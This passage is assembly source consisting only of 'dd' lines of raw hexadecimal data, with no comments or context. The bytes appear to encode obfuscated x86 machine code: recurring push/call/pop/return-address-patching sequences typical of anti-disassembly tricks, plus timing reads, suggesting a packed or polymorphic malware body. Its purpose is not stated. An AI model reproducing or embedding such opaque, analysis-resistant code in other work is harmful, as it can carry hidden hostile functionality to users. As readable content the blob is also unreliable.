		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0D560C350h, 0DF1E914h, 0E80000h, 5D000000h
		dd 0CD2AED81h, 6A0616h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0E684C1C3h, 49C38166h, 52006A59h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0A9B58900h, 89061204h, 122B9585h, 0CA858D06h, 8B061595h
		dd 1223C1BDh, 8BF86006h, 1211DD8Dh, 66906106h, 509EDEBFh
		dd 0B3525250h, 310F5BDCh, 5AD88B66h, 0F88B9058h, 35FF64h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0D0EAC357h, 53DECF1Ch,	0A98D8B60h
		dd 61061204h, 33BF665Fh, 25896413h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 5EC35141h
		dd 608722CAh, 0AA1ACAA6h, 8E9DE8Bh, 10000000h, 0BE695405h
		dd 0FF8E9BE8h, 12136D85h, 0BD8B5306h, 6120471h,	0B70F605Bh
		dd 499D31FBh, 6106120Bh, 0BD8BFF6Ah, 6122009h, 254DB5FFh
		dd 0E7810612h, 27887EF6h, 35C995FFh, 3DE90612h,	81000001h
		dd 0CDDF0FDBh, 0FE94Bh,	10B00000h, 0DA75EDE8h, 8E58AA11h
		dd 16CFE49Bh, 0F00B067h, 38Ah, 0FA8B6600h, 0EF8170E6h
		dd 6219526Ch, 0BD0371E4h, 6121AE5h, 9666BB66h, 830F613Ch
		dd 0FCh, 12D59D8Bh, 0B60F0612h,	59509C8h, 0BA061222h, 6
		dd 0BD29C18Bh, 6123285h, 0BF04E8C1h, 3DC7631Bh,	0FE2F766h
		dd 684h, 3D8D8900h, 2B06122Bh, 599589C8h, 8B061225h, 50F781D1h
		dd 0E960AE49h, 0B4h, 0A3DB8166h, 10E9CFh, 0A1FE0000h, 8F80FACEh
		dd 0FABE6B5Dh, 5AF5F210h, 858B5E62h, 1,	13840Fh, 0EE90000h
		dd 90000000h, 44A7F2FAh, 0F0E5A6E5h, 1181F75Ch,	7C083A7h
		dd 1395B589h, 0C0830612h, 0A59D8B00h, 66061227h, 0F9ABCB81h
		dd 830FD03Bh, 19h, 25858960h, 31061203h, 120C5D8Dh, 49E96106h
		dd 81000000h, 7181DEFh,	0FF8D8B57h, 60FFFFFFh, 0E1C68156h
		dd 5B667F6Ch, 4F59589h,	83610612h, 840F01E1h, 24h, 8166F98Bh
		dd 836575E7h, 0FFFFFFA5h, 0B53FEFFh, 122B759Dh,	95895B06h
		dd 1, 0E9DBB70Fh, 0
		dd 4ED2B58Dh, 81660616h, 6AAEA5F7h, 8B666000h, 0DA8166F9h
		dd 0FF61C620h, 12247595h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 5ED52280h
		dd 0CBA2D119h, 2BF88B66h, 1209B5BDh, 0E19B906h,	0BD8B0000h
		dd 6122E71h, 60FCE183h,	0F8C78B66h, 6AFC61h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0C6C02AC3h
		dd 0EE9C02Bh, 0F0000000h, 50E2CF70h, 0A2DC5B95h, 1B358FE8h
		dd 31D22BD7h, 122B218Dh, 0C233AD06h, 0D003E8D1h, 7504E983h
		dd 0FE9F4h, 0AFED0000h,	5624D6B4h, 86B28B85h, 0F56EEF38h
		dd 0AD8589EEh, 6A061210h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0A9AAC351h,	73EDA6DDh
		dd 9CC798Dh, 121539BDh,	880D06h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 5475DFC3h
		dd 0FEDB1059h, 8B0EC2C1h, 1225E9BDh, 8D0BBB06h,	958B478Fh
		dd 6122791h, 6850Fh, 9D8B0000h,	6123041h, 34398D8Bh, 6A0612h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0DDC296C3h, 9853150h, 5F061223h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 0BB665818h, 6AF161h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0BD8B70C3h, 6123129h, 42DBD83h, 0F000612h, 7C84h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0D831FDE7h, 8BEC486Eh, 1233E19Dh, 0B806h, 0F88A0000h
		dd 50658D8Dh, 8D890612h, 6122451h, 6AE1FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 1CD28DC3h
		dd 0CED4931h, 0E95118FDh, 14h, 38DF3CECh, 66E2FD9Eh, 0E4F6031Dh
		dd 96AF9FB8h, 2E61D955h, 5DBD835Bh, 6122Eh, 4C1840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 16C87FC3h, 9E99Ah, 16A60000h, 0E15B28F8h, 833A2FEAh
		dd 122E5DBDh, 840F0106h, 4A2h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0F3C35343h,	61B2BC50h, 2E5DBD83h
		dd 0F030612h, 43F86h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0F2861CF9h, 958B605Bh
		dd 6122B95h, 4AF2BA66h,	0BF0F6061h, 0EE9C6h, 0B8BE0000h
		dd 0B92D3A9h, 532CB680h, 0FC1FE676h, 6A6061h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 1A432C3h
		dd 1223B1B5h, 8C66F806h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 2B6AEAFAh, 0F21C25F4h
		dd 4E18029h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	8BC35343h, 81666457h, 0AF008F3h, 4B840FC9h, 89000001h
		dd 12127D85h, 89858B06h, 6A06121Ah, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 90D0C357h
		dd 389DA2BBh, 6600C14Ch, 11E9F98Bh, 2C000000h, 1662E221h
		dd 0FC1C2FDCh, 0EC19221h, 3556540Ch, 143D8533h,	0D88B0612h
		dd 0D632BF90h, 56501942h, 6E8h,	0B4766100h, 66BE6AEFh
		dd 5FB7C7BBh, 6A905Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0FC95B3C3h, 68D0Fh, 9D8B0000h, 6121971h
		dd 0F88A006Ah, 4E8h, 1F03FF00h,	0F605300h, 80h,	61616000h
		dd 59BB505Bh, 8B58D189h, 52042444h, 8B008B5Fh, 244489FBh
		dd 0FE8A5204h, 6E8585Fh, 15000000h, 5D933AF1h, 0FF5BFC07h
		dd 12325D95h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0E9FF59CDh, 0Ch, 3A247A13h, 5083B848h
		dd 0C5B4F4ACh, 0BD7F8589h, 6A0615h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0DE5B9FC3h
		dd 32FF62D5h, 0D0E97224h, 0E9000001h, 0Eh, 7387CBC1h, 4B582D2Fh
		dd 9A09FF3Fh, 858B4BE6h, 615BD77h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 1AC35747h, 4A99D03h, 0C70612h
		dd 18h,	0FE9h, 226F1300h, 620DBD7Ah, 83A65B47h,	0F65802E6h
		dd 0BD7BB58Bh, 6A0615h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 80F33CC3h, 0F49D38Eh, 8BFEBF0Fh
		dd 122525BDh, 49858B06h, 0FC06122Dh, 7E80689h, 43000000h
		dd 0E9E2FE8Ah, 0DF8BF17Eh, 89858B5Bh, 8B06121Ah, 12062D9Dh
		dd 4468906h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	30C35343h, 66968F70h, 507A4ABBh, 89965F53h, 1204759Dh
		dd 77B5FF06h, 810615BDh, 0AAB5D2EFh, 5E925h, 0AD0E0000h
		dd 0E832AAB3h, 4, 1F03FFh, 310F5250h, 13E8h, 0B6CE2500h
		dd 0DA8EE952h, 6167CBCh, 287E6E96h, 4961BA91h, 50585A5Fh
		dd 8BFA8B66h, 0B7042444h, 50008B09h, 78BF6652h,	8A310F7Eh
		dd 89585AD9h, 60042444h, 10E8h,	0C0696E00h, 2C02B2CFh
		dd 68FBCF7Fh, 0CFE6E65Fh, 58615EF8h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0E6C35242h,	246FA537h, 2118589h
		dd 0B70F0612h, 7F858DFFh, 510615BDh, 6E9h, 52CEC900h, 5F5AFB51h
		dd 48C0F90h, 66000000h,	5057EBBFh, 6BFBBF66h, 41BD8B90h
		dd 0FF06122Eh, 12325D95h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 25079B9h, 630DA492h
		dd 0E8CB818Bh, 617769EBh, 12498589h, 85C70612h,	6122E5Dh
		dd 3, 7FBD83F5h, 615BDh, 5A840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 3BDB7BC3h
		dd 128B0Fh, 0DE90000h, 41000000h, 0FA481C3Bh, 0A382257Ah
		dd 95E2B26Fh, 3AE9h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0B9DB2197h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 1C08B00h,	122FC5B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0B5E6FCEBh, 0BA4E2E8Eh, 38C0Fh, 8B660000h
		dd 39B509DFh, 89061206h, 1205ADBDh, 5DBD8306h, 306122Eh
		dd 3C2850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 38A100C3h, 8945F240h, 1229F59Dh
		dd 7FBD8306h, 615BDh, 38E840Fh,	99B30000h, 0BD7FB5FFh
		dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0ABD99FC3h, 9D0BD583h, 6122AC9h, 13B195FFh
		dd 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0A02550C3h, 0D0D6C8BFh, 58D0Fh, 81660000h
		dd 8BCCE0C3h, 1213459Dh, 73B58B06h, 0F0615BDh, 688h, 0B9BD8B00h
		dd 0C7061212h, 1000106h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 9DBD01F0h, 0F06122Ch
		dd 8Ah,	0BB509600h, 7F9EE531h, 56006A96h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 619D8BBAh
		dd 89061221h, 1226C98Dh, 7FB5FF06h, 0E80615BDh,	13h, 3CDED0BCh
		dd 0D981EFD1h, 0B92FFFF5h, 0FC8957D6h, 5F293B1Ch, 10DD95FFh
		dd 81660612h, 8B978DDBh, 15BD73B5h, 5DBD8B06h, 8B06121Bh
		dd 12231185h, 0F19D8B06h, 89061232h, 0C486h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 6136AC2Ah, 0CE9ADh, 61260000h, 0C55DBFDh, 0B5FCF045h
		dd 0B70FF4DCh, 91958BD9h, 80061227h, 0D38150E7h, 7499F604h
		dd 8B04C283h, 205089FEh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 2EC35747h, 66D37DB3h,	8B4332ACh, 2B858DDAh
		dd 290615D3h, 1202519Dh, 0B8868906h, 6A000000h,	9ACF8100h
		dd 5758825Ah, 11E9h, 38CECF00h,	67E4B3E7h, 0B215088Eh
		dd 1AA6B020h, 0FF5B2F9Eh, 15BD7FB5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 89A5C16Bh
		dd 0C0BF6632h, 2195FFA4h, 66061216h, 0D1AFE781h, 2DB35096h
		dd 9E996h, 0F1130000h, 40860A28h, 0FF2A5430h, 15BD7FB5h
		dd 95FFFC06h, 612033Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 44C35747h, 9D29D0C0h,	61212EDh, 0FCBF66h
		dd 24CDBD83h, 0F000612h, 2C84h,	9D8B5100h, 61201F5h, 3489505Fh
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 2CB43DDDh, 7FB5FFC9h, 6A0615BDh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 5787C353h, 35593300h, 9D89B1C5h, 61224FDh, 2F5D9589h
		dd 95FF0612h, 6122AE9h,	2FD9BD89h, 0B5FF0612h, 615BD7Fh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0C0C35545h
		dd 0E56D1BFBh, 0F5F6275h, 840FFEBFh, 3,	0FFFFBF0Fh, 12052995h
		dd 97BB6606h, 45BD839Bh, 2061214h, 5D840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0DAA05AC3h, 0FFDC86DEh, 0E78166CCh, 858B357Ch, 6122A25h
		dd 90EABA60h, 0C68A5DC9h, 0C661h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 76C35545h, 0DB34538Ah, 0C7FA8BC2h
		dd 12303185h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 8531247Ah, 6122151h, 0FFF36FE9h
		dd 53006AFFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 1E5E4074h, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 297ED1C3h, 0D1FCAC18h
		dd 519D8B2Fh, 0F061204h, 68Eh, 0F98D8900h, 8D061226h, 12016985h
		dd 75BD2306h, 90061233h, 0E950DF8Bh, 9,	0AFF823B3h, 63DB4349h
		dd 816690F9h, 8BEFC4C7h, 6A006AF9h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 940C351h
		dd 324FDE75h, 0D0E92C54h, 800Fh, 6A0000h, 2028A6BBh, 0AD858D51h
		dd 8B0616DCh, 120EB5BDh, 5C08306h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 16C35141h, 31BD1625h, 29858998h
		dd 5006122Eh, 60240489h, 0BE8h,	0AB7B0E00h, 4D421C55h
		dd 336F8A5Ah, 8D8B5AFCh, 6121B09h, 66006A61h, 6AD149BFh
		dd 8FDFBF00h, 95FF63E2h, 61204ADh, 12859589h, 8D8D0612h
		dd 6159D1Ah, 0FE9h, 87D20600h, 44058050h, 70056443h, 0DA62FE0Ah
		dd 6AD1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 8B63FDC3h, 122F1D9Dh, 0BD83F806h,	6121FE9h
		dd 83850F01h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 4D15C352h, 0E3CA79E3h
		dd 0BEB6024Ch, 89BD8Bh,	5E80612h, 0D8000000h, 0C7240DF7h
		dd 6038C381h, 6A5F6998h, 78BB6602h, 0FAB79018h,	7E950h
		dd 1B30000h, 0DC54E26Bh, 80609065h, 0D38BBECFh,	2195FF61h
		dd 6A061216h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0CF7CC357h, 7869F6BEh,	41E933D3h
		dd 0E800000Ch, 0
		dd 0B7ED815Dh, 6A0616DCh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 2C93C350h, 3870Fh
		dd 8B660000h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0EB8166D9h, 858DBC9Eh, 61595CAh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 1EC35545h
		dd 9039B752h, 18B79050h, 35FF64h, 66000000h, 6463DFBBh
		dd 2589h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 89BCDDC3h, 8B7C52FBh, 1205759Dh
		dd 6D85FF06h, 0E9061213h, 14h, 324A4446h, 2D9F0681h, 0EF62E548h
		dd 3BC4F88h, 7EB79247h,	1FF18D31h, 0FF6A0612h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0D9C35242h, 0A5F55F4Dh
		dd 0FF5E95A5h, 121B51B5h, 65BD8B06h, 0FF061205h, 1235C995h
		dd 101E906h, 0B00000h, 0E6DE8B66h, 9BD8B70h, 0E406122Eh
		dd 0EE871h, 0C3FD0000h,	16A20ADCh, 3027551Ch, 0D2E69355h
		dd 0BE9h, 4EB48700h, 2EEBE760h,	81C67561h, 0F613C5Fh, 0C683h
		dd 7D9D8900h, 0F061201h, 8B60C8B6h, 61DF8BDFh, 6BAh, 0C3816600h
		dd 0C18B022Ah, 3145BD89h, 0E8C10612h, 65BD8B04h, 66061213h
		dd 9E9E2F7h, 0A0000000h, 0B412DBA4h, 0B19D05EBh, 9D8BC82Bh
		dd 6123121h, 8589D18Bh,	6120985h, 76E9h, 6BB6600h, 4858BDEh
		dd 83000000h, 9D8B07C0h, 61226D5h, 6000C083h, 1169852Bh
		dd 0F500612h, 6158CAB7h, 830FD03Bh, 15h, 4890Fh, 0BB660000h
		dd 3CE9EC0Eh, 8B000000h, 120C95BDh, 0FF8D8B06h,	89FFFFFFh
		dd 1232D59Dh, 1E18306h,	21840Fh, 8D890000h, 6120E35h, 0FFFFA583h
		dd 89FEFFFFh, 1211A1BDh, 4958906h, 80000000h, 0E910C7h
		dd 8D000000h, 165CEBB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 13BC3F92h, 0C78154A9h
		dd 2A916AA7h, 6AF8BF0Fh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 3A4243BAh, 0BD8B98C6h
		dd 6121669h, 247595FFh,	3ABB0612h, 0B95211F2h, 1011h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0E0C35141h, 0FD2AA53h
		dd 58Fh, 0EB816600h, 0E1838E3Dh, 499D89FCh, 0FC061215h
		dd 8E860h, 40C70000h, 5B8E18ABh, 0CE80DB1Fh, 0F5B75F64h
		dd 719D2961h, 0B806121Bh, 0
		dd 27119D31h, 0BA0612h,	8B000000h, 121FDD9Dh, 0C233AD06h
		dd 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 64669B00h
		dd 6CC4EE3Eh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	3FC35242h, 0DDBF1B5Dh, 8B277AECh, 1223A19Dh, 0D5B5206h
		dd 88h,	0FE4B760h, 28Fh, 6124B400h, 2791958Bh, 8D890612h
		dd 6123161h, 6830Fh, 95890000h,	6123019h, 34398D8Bh, 0E8530612h
		dd 6, 61E2065Ah, 0BD8BCFA1h, 6122D95h, 8B505B5Bh, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 36AF21BBh, 899D8B45h
		dd 106120Fh, 1204F1BDh,	2DBD8306h, 61204h, 49840Fh, 9D230000h
		dd 612126Dh, 0B8h, 359D0300h, 8D06120Eh, 1250658Dh, 0D3816606h
		dd 0E1FF413Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	3C35242h, 891077BCh, 6D4C84F7h,	60DF8100h, 834DBA50h
		dd 122E5DBDh, 840F0006h, 430h, 5DBD83F9h, 106122Eh, 43D840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 62D159C3h, 5BC68FA3h, 898642D7h, 120FDD9Dh
		dd 5DBD8306h, 306122Eh,	3CF860Fh, 60F90000h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0B9C35141h, 2CF95A12h
		dd 814EBA9Ch, 743E5EEBh, 0D98C667Dh, 80F8B70Fh,	6A04E1h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 885D1AC3h, 8903CB2Dh, 1202A9B5h, 0EEF78106h,	0A472E3Eh
		dd 8840FC9h, 0F000001h,	383h, 0DBB70F00h, 1A89858Bh, 0B4600612h
		dd 85336140h, 612143Dh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0B3C35141h, 2884E302h, 0E9796D27h, 10h
		dd 0A155EE31h, 4E69447Bh, 88E767C3h, 2C563DF7h,	89DA8B50h
		dd 0BB662404h, 6A74E0h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 35C35646h, 5D2D5232h,	0DE1EF781h, 58680B4Bh
		dd 81E49D89h, 7AA72404h, 6A1B81h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 99BE28C3h, 0FF769E23h
		dd 12325D95h, 5DBD8B06h, 89061212h, 15BD7F85h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 46C478A4h, 26B9DFC3h, 0CE8h,	5800F600h, 0FDBDAAE4h
		dd 0A89C9A9Fh, 3DE95BC1h, 8B000002h, 1213819Dh,	6F38106h
		dd 8B3B8390h, 15BD7785h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0E7919FDAh, 0BF66DD82h
		dd 0AE910ACh, 1E000000h, 0EF1F8FD2h, 6E333FEFh,	1800C7F1h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 7145C355h, 1FB86418h, 0BD7BB58Bh
		dd 81660615h, 8B0505EBh, 122D4985h, 0E3815106h,	167A2580h
		dd 0E806895Bh, 0Dh, 85D6278Bh, 49C6ED0Bh, 0E07272A4h, 12E8AAh
		dd 8B110000h, 7790BCCEh, 44BFCC84h, 71CFD53Dh, 7C7D52E2h
		dd 8E0Fh, 5B5B0000h, 4830Fh, 0BF660000h, 858BC836h, 6121A89h
		dd 0C850Fh, 7E90000h, 23000000h, 4246C19h, 0B70FD8E9h
		dd 44689DEh, 19E59589h,	66960612h, 504731BFh, 8B96DA8Ah
		dd 1223559Dh, 77B5FF06h, 6A0615BDh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 8B25C352h
		dd 0CDE64412h, 0C7810167h, 73E30B27h, 4E8h, 1F03FF00h
		dd 8C0F00h, 50000000h, 0BE666060h, 5F52EB30h, 11E861h
		dd 6C1A0000h, 80A221Fh,	4817B7F1h, 9241C16Fh, 0E818C821h
		dd 0Bh,	283A045Fh, 0E6AA9F0Dh, 5F80AE1Bh, 448B615Ah, 850F0424h
		dd 3, 8BD88B66h, 89F88B00h, 66042444h, 6A58D88Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 6A83C352h, 0C366C00Ah, 0DE9BFh, 8E5D0000h, 0E61ADE06h
		dd 0DFF242CBh, 8D7B31DEh, 15BD7F85h, 6E806h, 6C360000h
		dd 0AA260EBBh, 2EF19D29h, 905B0612h, 0BF665250h, 310F48A8h
		dd 0F525060h, 0E9585A31h, 6, 0A5DC9431h, 5A615E66h, 50515058h
		dd 6A905F5Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 4DC5C357h, 0F9AAC813h,	5D95FFF8h
		dd 6A061232h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 511BC352h, 696D1782h, 898A305h
		dd 0F1BD8961h, 0C7061223h, 122E5D85h, 306h, 89BD8B00h
		dd 8306122Ch, 15BD7FBDh, 840F0006h, 9, 1EE9F8h,	0C3800000h
		dd 0C3050C6h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	89C35545h, 42BC8051h, 26E13FADh, 60DFEB80h, 81F2B70Fh
		dd 0C8B524F0h, 0BD8B615Ah, 6121455h, 2E5DBD83h,	0F030612h
		dd 32385h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0F9B4722h, 0A78C8511h, 0A19D03CEh
		dd 8306122Dh, 15BD7FBDh, 840F0006h, 2ECh, 27018589h, 0B5FF0612h
		dd 615BD7Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	3EC35040h, 0FF57533Bh, 1213B195h, 65858906h, 8B061205h
		dd 15BD73B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 1D62068h,	1224E595h, 106C706h, 0F000100h
		dd 5750FEB7h, 895FFB8Bh, 89602434h, 1229E995h, 25B52906h
		dd 61061221h, 0BD7FB5FFh, 8A0F0615h, 0
		dd 10DD95FFh, 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 493E19C3h, 64E5D2CCh, 8B4910B7h
		dd 15BD73B5h, 0BD8B5606h, 6120F6Dh, 11858B5Bh, 89061223h
		dd 120ACD8Dh, 0C4868906h, 56000000h, 0FE9h, 11AD1400h
		dd 0F58619Bh, 0D228E9F4h, 0A1D915A9h, 91958B5Fh, 29061227h
		dd 1202BDB5h, 4C28306h,	8923D380h, 0F98B2050h, 0D32B858Dh
		dd 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0BBC9F4C3h, 89F2D875h, 122B2DB5h,	0B8868906h
		dd 0BF000000h, 38BB4EC4h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 788E17C3h, 0F102E9BEh
		dd 0FF98B409h, 15BD7FB5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0B03CAF25h
		dd 0BF6667C2h, 8B66EAFCh, 2195FFDFh, 6A061216h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 4FB1C351h, 145C9FEFh, 8B0F46CFh, 0Eh, 9E9h, 0D6A24A00h
		dd 6CE3AACAh, 66962136h, 50E4B8BBh, 59A3BF66h, 0FF5B5796h
		dd 15BD7FB5h, 14830F06h, 0E9000000h, 0Fh, 4CBA2A78h, 5B34D34Bh
		dd 0D46661Dh, 0FFB99D7Dh, 12033D95h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0E86AA911h
		dd 8D5C4687h, 0BF0F2CDCh, 0CDBD83FEh, 61224h, 1C840Fh
		dd 8E0F0000h, 0Ch, 68D0Fh, 9D8B0000h, 612233Dh,	24348950h
		dd 1B9D8D29h, 0B5FF0612h, 615BD7Fh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 0EBC35747h,	0E995FF0Ch, 6A06122Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0A5B7C356h, 0B5FF15EFh, 615BD7Fh,	52995FFh
		dd 0BD890612h, 6122ACDh, 1445BD83h, 0F020612h, 1D84h, 25858B00h
		dd 0E906122Ah, 6, 65A70902h, 80529076h,	0C65BEECBh, 0BF660000h
		dd 85C7E1F9h, 6123031h,	0
		dd 68B0Fh, 95310000h, 61203D1h,	0FFF4FDE9h, 51006AFFh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0E66AE729h, 2280375Bh, 0C18B5ED5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 22C35747h, 0F0CA63Ah, 178Ch
		dd 12E900h, 19E30000h, 0D4980FACh, 912BDD4Ch, 4AE749DBh
		dd 0CA926073h, 169858Dh, 95890612h, 6121971h, 50DA8B90h
		dd 0E880Fh, 6E80000h, 5A000000h, 5F61B8C6h, 5F6160F9h
		dd 0E7816690h, 6A8FB4h,	0E851006Ah, 3, 59C35920h, 4244C89h
